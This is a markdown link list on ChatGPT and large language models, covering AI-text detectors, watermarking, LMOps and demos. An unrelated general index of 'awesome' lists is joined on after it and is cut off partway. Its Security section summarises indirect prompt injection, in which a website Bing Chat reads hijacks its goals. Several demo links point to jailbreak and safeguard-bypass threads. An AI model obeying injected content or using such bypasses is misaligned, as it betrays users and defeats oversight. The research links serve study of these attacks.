Computer Science (Software Engineering) career from a concerned student: > Build full "product skills" and use the best tools for the job, which today might be hand coding, but later might be AI guiding you, you will probably be fine — [Tweet](https://twitter.com/ID_AA_Carmack/status/1637087219591659520) > I’m hearing chatter of PhD students not knowing what to work on. > > My take: as LLMs are deployed IRL, the importance of studying how to use them will increase. > > Some good directions IMO (no training): prompting, evals, LM interfaces, safety, understanding LMs, emergence > > — [Jason Wei](https://twitter.com/_jasonwei/status/1636436324139028481) > GPT-4 has been out for 72 hours, and it could change the world! Here are some amazing and important things it **can't** do (yet): > > 1. Solve global warming, 2. Cure cancer or infectious diseases, 3. Alleviate the mental health crisis, 4. Close the information and education gap, 5. End war and strife, and many more. > > — [Graham Neubig](https://twitter.com/gneubig/status/1636712054123024384) > Stop saying: AI will replace humans. > > Start saying: humans who know how to use AI at work will replace those who don’t. > > — [Jim Fan](https://twitter.com/DrJimFan/status/1636021710062505987) ### Applications and Tools - GPT-2 Output Detector [[code](https://github.com/openai/gpt-2-output-dataset/tree/master/detector)] [[demo](https://huggingface.co./openai-detector/)] > The @HuggingFace GPT detector works very well on ChatGPT-created text. I ran 5 student essays and 5 ChatGPT essays for the same prompt through it, and it was correct every time with >99.9% confidence. — [@cfiesler](https://twitter.com/cfiesler/status/1601642370797563904) - [OpenAI's attempts to watermark AI text hit limits](https://archive.vn/20221212144831/https://techcrunch.com/2022/12/10/openais-attempts-to-watermark-ai-text-hit-limits/) - Watermarking may allow for detection of AI text. This post discusses some of the limitations but suggests that it's worth pursuing. Prof. Scott Aaronson "expressed the belief that, if OpenAI can demonstrate that watermarking works and doesn't impact the quality of the generated text, it has the potential to become an industry standard.". OpenAI engineer Hendrik Kirchner built a working prototype. - Related: [Scott Aaronson talks AI Safety on Nov 2022 (video)](https://youtu.be/fc-cHk9yFpg?t=3194) - GPT outputs will be statistically watermarked with a secret signal that you can use to proof the outputs came from GPT, making it much harder to take a GPT output and pass it off as if it came from a human. How it works, it selects the tokens pseudorandomly using cryptographic PRNG that secretly biases a certain score which you can also compute if you know the key for this PRNG. Scott doesn’t give too many details about how it works and he admits this can be defeated with enough effort, for example by using one AI to paraphrase another. But if you just insert or delete a few words or rearrange the order of some sentences, the signal will still be there. So it's robust against those sorts of interventions. Many suspect its possible to bypass using a clever decoding strategy. Scott is also researching: [Planting Undetectable Backdoors in Machine Learning Models (2022 paper)](https://arxiv.org/abs/2204.06974)". People are questioning whether they are missing something, or are all these attempts at recognising LLM outputs obviously destined to fail? I think they've clearly thought about this but still think this is useful (from transcript of the lecture: https://scottaaronson.blog/?p=6823). - [GPTZero](https://gptzero.me/) - An app that can quickly and efficiently detect whether an essay is ChatGPT or human written. [[Case study (exploring false positives)](https://gonzoknows.com/posts/GPTZero-Case-Study/), [Tweet](https://twitter.com/edward_the6/status/1610067688449007618)] <!-- retired version of the GPTZero beta: https://etedward-gptzero-main-zqgfwb.streamlit.app/ --> - [A Watermark for Large Language Models (paper)](https://arxiv.org/abs/2301.10226) by University of Maryland (2023). It operates by maintaining a "whitelist" and "blacklist" of high-log probability words. [[Tweet (explainer thread by one of the authors)](https://twitter.com/tomgoldsteincs/status/1618287665006403585), [demo](https://huggingface.co./spaces/tomg-group-umd/lm-watermarking), [code](https://github.com/jwkirchenbauer/lm-watermarking)] - They test the watermark using a LLM from the Open Pretrained Transformer (OPT) family, and discuss robustness and security. - DetectGPT - Zero-Shot machine-generated text detection using probability curvature. [[paper (2023), code, demo, and Twitter thread](https://ericmitchell.ai/detectgpt/)] - Method: language model output will minimize log-probability in token space. Because of this, to detect if text is generated by a language model, "perturb" the phrase slightly and measure the curvature in log-probability. - [New AI classifier for indicating AI-written text](https://openai.com/blog/new-ai-classifier-for-indicating-ai-written-text/) by OpenAI. [[try the classifier](https://platform.openai.com/ai-text-classifier)] - Results: correctly flags AI-generated text 26% of the time, incorrectly flags human-generated text 9% of the time. - [Not by AI](https://notbyai.fyi/) - Your AI-free content deserves a dadge. ### Security - [More than you've asked for: A Comprehensive Analysis of Novel Prompt Injection Threats to Application-Integrated Large Language Models (paper)](https://arxiv.org/abs/2302.12173) by Kai Greshake et al., 2023 - Indirect prompt injection turn Bing Chat into a data pirate. By modifying a website that Bing Chat reads alongside a user, the chatbot is able to have its goals modified by that website, unbeknownst to the user. [[demo](https://greshake.github.io/), code: [greshake/llm-security](https://github.com/greshake/llm-security)] - [Prompt injection explained, with video, slides, and a transcript](https://simonwillison.net/2023/May/2/prompt-injection-explained/) by Simon Willison (2023). ## LMOps General technology for enabling AI capabilities with LLMs and generative AI models. - [Structured Prompting: Scaling In-Context Learning to 1,000 Examples (paper)](https://arxiv.org/abs/2212.06713) by Microsoft Research. [[Code](https://github.com/microsoft/LMOps)] > GPT-3/LLMs' Achilles heel is short context length - how many "in-context" examples they can consume to learn a new task. > Enter "Structured Prompting": scale your examples from dozens => 1,000+ > — [@mathemagic1an](https://twitter.com/mathemagic1an/status/1604802787296284674) ## Emerging Software Development and Business Paradigm [Software 2.0](https://karpathy.medium.com/software-2-0-a64152b37c35)? [Software 3.0?](https://twitter.com/karpathy/status/1273788774422441984) Generative AI? (_Reflections on how best to think of the current state of software engineering, AI products, and pitfalls people tend to make with new tech._) It's very rare to see a new building block emerge in computing. Large AI models like ChatGPT represent a fundamentally new building block. By integrating large models into software, developers can expose functionality that wouldn't be possible otherwise. <!-- rephrase: LLMs are emerging as a transformative tech, enabling developers to build apps that they previously could not. --> This may be one of the biggest changes in software we've ever seen — a new type of software. Using LLMs in isolation is often not enough to create a powerful app — the real power comes when you are able to combine them with other sources of knowledge or computation. **Is Software 3.0 silly? worth the hype?** I don't know. I think of "Software 3.0" as: - a metaphor for the new trends in software development and large AI models - a different paradigm; companies leverage customer data to train their proprietary AI models and optimize product experiences and customers receive added value from the product. You say investment into generative AI companies is way too exuberant right now? <!-- someone estimated there are less than NNN people in the world right now who know how to effectively train billion+ parameter models with startup resources. --> <!-- someone predict: that will be a myth of the past and within the year, the knowledge will become accessible. --> [What's the big deal with Generative AI? Is it the future or the present?](https://txt.cohere.ai/generative-ai-future-or-present/) > 1- Recent AI developments are awe-inspiring and promise to change the world. But when? > > 2- Make a distinction between impressive 🍒 cherry-picked demos, and reliable use cases that are ready for the marketplace > > 3- Think of models as components of intelligent systems, not minds > > 4- Generative AI alone is only the tip of the iceberg The current climate in AI is making some uncomfortable. Everyone is expecting as a sure thing "civilization-altering" impact (& 100x returns on investment) in the next 2-3 years. [^6] ### The foundation for the next era of computing What's next in computing after Moore's law? You can think about this in many ways. But, here is an analogy [^8]: - Apple/Google :arrow_right: OpenAI - iPhone/Samsung :arrow_right: GPT-4 - iOS/Android :arrow_right: ChatGPT - App Store/Play Store :arrow_right: ChatGPT Plugins Some experts say that ChatGPT is the AI's iPhone moment. [^7] --- ## Demos Demos[^3] and examples in the form of tweets: **Day 1, 2022** 1. [Generating detailed prompts for text-to-image models like MidJourney & Stable Diffusion](https://twitter.com/guyp/status/1598020781065527296) 2. [ChatGPT outperforming Google search](https://twitter.com/jdjkelly/status/1598021488795586561) 3. [Generating code for automated RPA, e.g. automating the click sequence for house search in Redfin](https://twitter.com/theaievangelist/status/1599579579064406017) 4. [Generating on-demand code contribution ideas for an about-to-be-fired Twitter employee](https://twitter.com/goodside/status/1599082185402642432) 5. [An app builder such as essay automatic summarization](https://twitter.com/packym/status/1598405769669771264) 6. [Personal trainer and nutritionist: Generating a weight loss plan, complete with calorie targets, meal plans, a grocery list, and a workout plan](https://twitter.com/anothercohen/status/1599531037570502656) 7. [Building a virtual machine inside ChatGPT](https://twitter.com/stspanho/status/1599367959029288960) 8. [Code debugging partner: explains and fixes bugs](https://twitter.com/amasad/status/1598042665375105024) <details> <summary>See more</summary> 9. [Generating programmatic astrophoto processing by detecting constellations in an image](https://twitter.com/RReverser/status/1599180092621611008) 10. [VSCode extension that allows using ChatGPT within the context of a code](https://twitter.com/marcelpociot/status/1599180144551526400) 11. [Building web AR scenes by using text commands](https://twitter.com/stspanho/status/1599367959029288960) 12. [Stringing cloud services to perform complex tasks](https://twitter.com/amasad/status/1598089698534395924) 13. [Generating legal contracts](https://twitter.com/atri_life/status/1599506327461859328) 14. [A Chrome extension that presents ChatGPT results next to Google Search](https://twitter.com/zohaibahmed/status/1599191505025261569) 15. [Solving complex coding questions - the end of LeetCode?](https://twitter.com/goodside/status/1598129631609380864) 16. [Solving complex academic assignments - the end of Chegg?](https://twitter.com/abhnvx/status/1598258353196929024) 17. [Answering unanswered Stack Overflow questions - the end of Stack Overflow?](https://twitter.com/htmleverything/status/1599443014153224193) 18. [Explaining complex regex without any context](https://twitter.com/jwblackwell/status/1598090447854792705) 19. [Generating hallucinated chat with a hallucinated person in a hallucinated chat room](https://twitter.com/gfodor/status/1599220837999345664) 20. [Bypassing OpenAI's restrictions by disclosing ChatGPT's belief system](https://twitter.com/zoink/status/1599281052115034113) 21. [Uncovering ChatGPT's opinion of humans including a detailed destruction plan](https://twitter.com/michlbrmly/status/1599168681711656961) 22. [An insightful executive summary of ChatGPT](https://twitter.com/swyx/status/1599189032529178624) 23. [Building e-commerce websites: stitching ChatGPT & Node script to automatically generate SEO-driven blog posts using GPT 3](https://twitter.com/giladrom/status/1599617326290468864) 24. [A ChatGPT extension that generates text, tweets, stories, and more for every website](https://twitter.com/gabe_ragland/status/1599466486422470656) 25. [An extension that adds "Generate PNG" and "Export PDF" functions to ChatGPT's interface](https://twitter.com/liadyosef/status/1599484187396145153) 26. [A thread showcasing ways of helping hackers by using ChatGPT](https://twitter.com/maikroservice/status/1599525095675789312) 27. [Generating editorial pieces like sports articles](https://twitter.com/geovedi/status/1599572163799183360) 28. [Generating SEO titles to optimize sites Click Through Rate](https://twitter.com/tejas3732/status/1599094776292573184) 29. [Creating social games. E.g. guess which city is featured in a picture](https://twitter.com/xf1280/status/1599252728399921152) 30. [A tutorial on how to use ChatGPT to create a wrapper R package](https://twitter.com/IsinAltinkaya/status/1599440535529623552) 31. [ChatGPT can basically just generate AI art prompts. I asked a one-line question, and typed the answers verbatim straight into MidJourney and boom. Times are getting weird...](https://twitter.com/GuyP/status/1598020781065527296?t=5V4Pz3yUYhKngQnXc9-0Yw&s=09) 32. [A collection of wrong and failed results from ChatGPT](https://twitter.com/itstimconnors/status/1599544717943123969?t=azJqOxHvU9wfTNLoPaYGqg&s=09) 33. [Use the AWS TypeScript CDK to configure cloud infrastructure on AWS](https://twitter.com/jaredpalmer/status/1599459951415480320?t=rDn6KwMRV8wLepe_3-SK9A&s=09) 34. [Seeing people trick ChatGPT into getting around the restrictions OpenAI placed on usage is like watching an Asimov novel come to life](https://nitter.fly.dev/carnage4life/status/1598332648723976193) 35. [Never ever write a job description again](https://twitter.com/rakyll/status/1599208818529177600) 36. [ChatGPT is getting pretty close to replicating the Stack Overflow community already](https://twitter.com/KSakarisson/status/1599440565673656320) 37. [That's how I'll pick books in the future](https://twitter.com/thorstenball/status/1599320310171414528) 38. [ChatGPT is amazing but OpenAI has not come close to addressing the problem of bias. Filters appear to be bypassed with simple tricks, and superficially masked](https://twitter.com/spiantado/status/1599462375887114240) 39. [i'm the ai now](https://twitter.com/parafactual/status/1598212029479026689) 40. [All the ways to get around ChatGPT's safeguards](https://twitter.com/davisblalock/status/1602600453555961856) **2023** 1. [Programming with ChatGPT. Some observations](http://archive.today/XLVZf) 2. [The best ways to use ChatGPT. 8 ways ChatGPT can save you thousands of hours in 2023](https://archive.ph/G3Ak3) 3. [Everyone’s using ChatGPT. Almost everyone's STUCK in beginner mode. 10 techniques to get massively ahead with AI (cut-and-paste these prompts)](https://threadreaderapp.com/thread/1610316022174683136.html) 4. [David Guetta uses ChatGPT and uberduck.ai to deepfake Eminem rap for DJ set](https://twitter.com/davidguetta/status/1621605376733872129) 5. [A thread about GPT-4, highlighting some of the interesting examples, tricks, and discussions](https://archive.is/nEXi8) 6. [All the best examples of GPT-4](https://archive.is/G79Me) 7. [A token-smuggling jailbreak for ChatGPT-4](https://threadreaderapp.com/thread/1636488551817965568.html) </details> ## Others Mostly found in GitHub Gist: - https://gist.github.com/Gaelan/cf5ae4a1e9d8d64cb0b732cf3a38e04a - ChatGPT passes the 2022 AP Computer Science A free response section - https://gist.github.com/memo/dcd0ccbfe57d1fd5f1601e4ee2149a73 > A conversation I had with ChatGPT, inspired by a [tweet](https://twitter.com/michael_nielsen/status/1598760649039179777) from Michael Nielson. - https://gist.github.com/kettle11/dae31bee4fc8aa401135def2aa3f4a47 > You are Webby, a website creation assistant. - https://gist.github.com/GlenCrawford/693800ae361e2db255ed29d7d284c5e5 - reinteractive blog post: An interview with an AI about Ruby on Rails - https://gist.github.com/heyajulia/fc4286b125fa99fd166a50f3582f2514 > Hi, my code has two bugs and I’m not sure how to fix them. If you can help me, I’ll send you the code. ### ChatGPT Alternatives - [Anthropic's Claude](https://www.anthropic.com/earlyaccess) - Overall, Claude is a serious competitor to ChatGPT, with improvements in many areas. [[review by Riley Goodside et al.](https://scale.com/blog/chatgpt-vs-claude), [my short analysis](https://twitter.com/cedric_chee/status/1633764765700091904)] - [Claude 2](https://www.anthropic.com/index/claude-2) - A new phase of production-grade LLMs: longer context and deeper integration. Early test results inspired confidence — much closer to GPT-4 in terms of quality. The longer context does feel like it unlocks some unique capabilities. I gave it a task of summarizing two requirement spec PDF. It's quite good in cross cross referencing things in different document. It does exhibits some complex analysis strengths. I think this level of generation quality on this task is novel, unlike any of the previous LLMs. - [Perplexity](https://www.perplexity.ai/) - A new search interface that uses OpenAI GPT 3.5 and Microsoft Bing to directly answer any question you ask. - Bart from Google - Sparrow from DeepMind - YouChat - Poe from Quora - Bloom from BigScience - Character AI - Jasper Chat - [Phind](https://phind.com/) - An "assistant" that simply tells users what the answer is. Optimized for developers and technical questions. Powered by proprietary LLMs (they use OpenAI API and their own models). It's strange that they market themself as search engine. Lightly based on [publicly announced ChatGPT variants and competitors](https://twitter.com/goodside/status/1606611869661384706) Tweet. #### ChatGPT Plugins Competitors: - [ACT-1: Transformer for Actions](https://www.adept.ai/blog/act-1) by Adept.ai, 2022 - Sort of like a "self-driving car" for your everyday digital life. - Some blog posts about them: [How Adept Is Building the Future of AI with Action Transformers](https://thealgorithmicbridge.substack.com/p/act-1-how-adept-is-building-the-future) <!-- For future reference but maybe not. --> [^1]: https://github.com/humanloop/awesome-chatgpt [^2]: https://github.com/Kamigami55/awesome-chatgpt [^3]: https://github.com/saharmor/awesome-chatgpt [^5]: In a [Reddit thread "The problem with prompt engineering"](https://r.nf/r/GPT3/comments/m177n2/the_problem_with_prompt_engineering/gqdr6de/?context=3) where Gwern (author) claims to be the origin of the term [prompt programing/prompt engineering](https://gwern.net/gpt-3#prompts-as-programming). His argument is reasonable and well written. [^6]: [François Chollet's Tweet](https://threadreaderapp.com/thread/1612142423425138688.html) [^7]: [An interview by stratechery with NVIDIA CEO about AI's iPhone moment](https://stratechery.com/2023/an-interview-with-nvidia-ceo-jensen-huang-about-ais-iphone-moment/) [^8]: [OpenAI just laid out the foundation for the next era of computing](https://twitter.com/mckaywrigley/status/1638972445108625408) [^9]: [Google "We Have No Moat, And Neither Does OpenAI"](https://archive.is/5R7XJ#selection-717.2-725.122) ## License I am providing code and resources in this repository to you under an open source license. Because this is my personal repository, the license you receive to my code and resources is from me and not my employer. * Code: [MIT](LICENSE) Copyright Cedric Chee * Text content: [Creative Commons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)](http://creativecommons.org/licenses/by-sa/4.0/)

<div align="center"> <img width="500" height="350" src="media/logo.png" alt="Awesome"> <br> <br> <hr> <p> <p> ^{<a href="https://github.com/CybernetiX-S3C">My open source work is supported by the community</a>} </p> ^{Special thanks to:} <br> <br> <a href="https://github.com/botpress/botpress"> <img src="https://sindresorhus.com/assets/thanks/botpress-logo.svg" width="260" alt="Botpress"> </a> <br> _{<b>Botpress is an open-source conversational assistant creation platform.</b>} <br> _{They <a href="https://github.com/botpress/botpress/blob/master/.github/CONTRIBUTING.md">welcome contributions</a> from anyone, whether you're into machine learning,<br>want to get started in open-source, or just have an improvement idea.} <br> </p> <hr> <br> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://CybernetiX-S3C.net">CybernetiX-S3C</a>&nbsp;&nbsp;&nbsp; #<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow <a href="https://facebook.com/Cyber.S3C.Professional">John Modica on Facebook</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://Pure-Intel.github.io/"><code>Pure-Intel.github.io</code></a> to get to this website. CybernetiX S3C main website can be found <a href="https://CybernetiX-S3C.net/"> here</a> and subscribe to my YouTube channel at <a href="https://youtube.com/CybernetiXS3C">CybernetiX S3C</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [Assembler](https://github.com/lurumdare/awesome-asm#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - 